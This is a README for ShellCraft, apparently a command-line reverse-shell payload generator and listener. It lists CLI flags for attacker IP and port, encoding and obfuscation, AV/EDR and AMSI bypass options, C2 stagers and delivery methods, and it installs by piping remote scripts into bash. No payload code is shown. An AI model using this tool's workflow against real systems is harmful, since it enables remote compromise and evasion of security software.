|
Generation
Post-Generation
|
🎛️ Listeners
💾 Persistence
🔧 Internals
|
Option 1 — Pre-built binaries ⭐ (recommended)
Download from the Releases page, then:
chmod +x shellcraft-*
./shellcraft-*Option 2 — Quick install script
curl -sSL https://raw.githubusercontent.com/MKMithun2806/ShellCraft/main/install.sh | bashOption 3 — go install
go install github.com/MKMithun2806/ShellCraft/cmd/shellcraft@mainOption 4 — Manual build
git clone https://github.com/MKMithun2806/ShellCraft.git
cd ShellCraft
go build -ldflags "-X main.Version=1.0.0" -o shellcraft ./cmd/shellcraftshellcraftFollow the prompts to configure IP, port, payload type, encoding, and obfuscation.
# Basic
shellcraft -i 10.10.10.10 -p 4444 -t python -e base64
# With auto IP and obfuscation
shellcraft -i auto -p 4444 -t powershell -e b64 --obfs 2 --suggest📋 Full CLI reference
| Flag | Description | Example |
|---|---|---|
-i |
Attacker IP (auto for auto-detection) |
-i 10.0.0.1 |
-p |
Attacker port | -p 4444 |
-t |
Payload type | -t powershell |
-e |
Encoding: raw, url, b64 |
-e b64 |
-obfs |
Obfuscation level 0–3 (PS & Python) | -obfs 2 |
| Flag | Description |
|---|---|
-list |
List saved templates |
-load <name> |
Load and run a template |
-save <name> |
Save current config as template |
| Flag | Description |
|---|---|
-suggest |
Show AV/EDR bypass & shell upgrade tips |
-delivery |
Show HTTP delivery methods |
-c2 |
Show C2 framework stagers |
| Flag | Description |
|---|---|
-add-custom name:code[:type:os] |
Add a custom payload |
-list-custom |
List custom payloads |
-delete-custom <index> |
Delete by index |
🎧 Listener
The default listener is the built-in Go TCP listener — a full-featured nc -lvnp replacement:
# Built-in listener (default) — no external tools needed
shellcraft listen 4444
shellcraft listen -p 4444
shellcraft listener --port 9001Inside an interactive session:
- Remote output is colored in cyan for visibility
- Arrow keys, Tab, Ctrl+C, Ctrl+Z work naturally (raw PTY mode)
- Ctrl+] suspends the session and returns to the connection menu
- Type
exiton the remote shell to close the connection automatically
External tools are also fully supported for when you prefer them:
shellcraft listen 4444 nc
shellcraft listen 4444 socat
shellcraft listen 4444 rlwrap
shellcraft listen 4444 ncatPayload history
shellcraft historyShows the last 20 generated payloads with timestamps, IP, port, type, and encoder.
Custom payloads
shellcraft custom-payload list
shellcraft custom-payload add # interactive
shellcraft custom-payload delete <index>Custom payloads are automatically merged into the interactive payload selection menu.
ℹ️ Version
shellcraft versionAfter generating a payload interactively, the menu lets you:
| # | Action |
|---|---|
| 1 | Copy payload to clipboard |
| 2 | Save as template |
| 3 | Show AV/EDR bypass & shell upgrade tips |
| 4 | Show HTTP delivery methods |
| 5 | Show C2 framework integration |
| 6 | Add a custom payload |
| 7 | Start listener (built-in Go listener, defaults to PTY raw mode) |
| 8 | Exit |
| OS | Payload | Notes |
|---|---|---|
| 🐧 Linux | Bash, NC FIFO, Python, PHP, Ruby, Perl | — |
| 🪟 Windows | PowerShell (AMSI Bypass), CMD, MSHTA (VBScript), Certutil Stager | Includes signature evasion |
| 🍏 macOS | Zsh Native | Native ztcp |
| Level | PowerShell | Python |
|---|---|---|
| 0 | None | None |
| 1 | Tick fragmentation keywords | Base64 exec wrapper |
| 2 | Variable name randomization | Base64 exec wrapper |
| 3 | Variable randomization + string concatenation | Base64 exec wrapper |
curl -sSL https://raw.githubusercontent.com/MKMithun2806/ShellCraft/main/uninstall.sh | bashThis tool is intended for legal, authorized security testing and educational purposes only.
Do not use it for malicious activities. The authors are not responsible for misuse.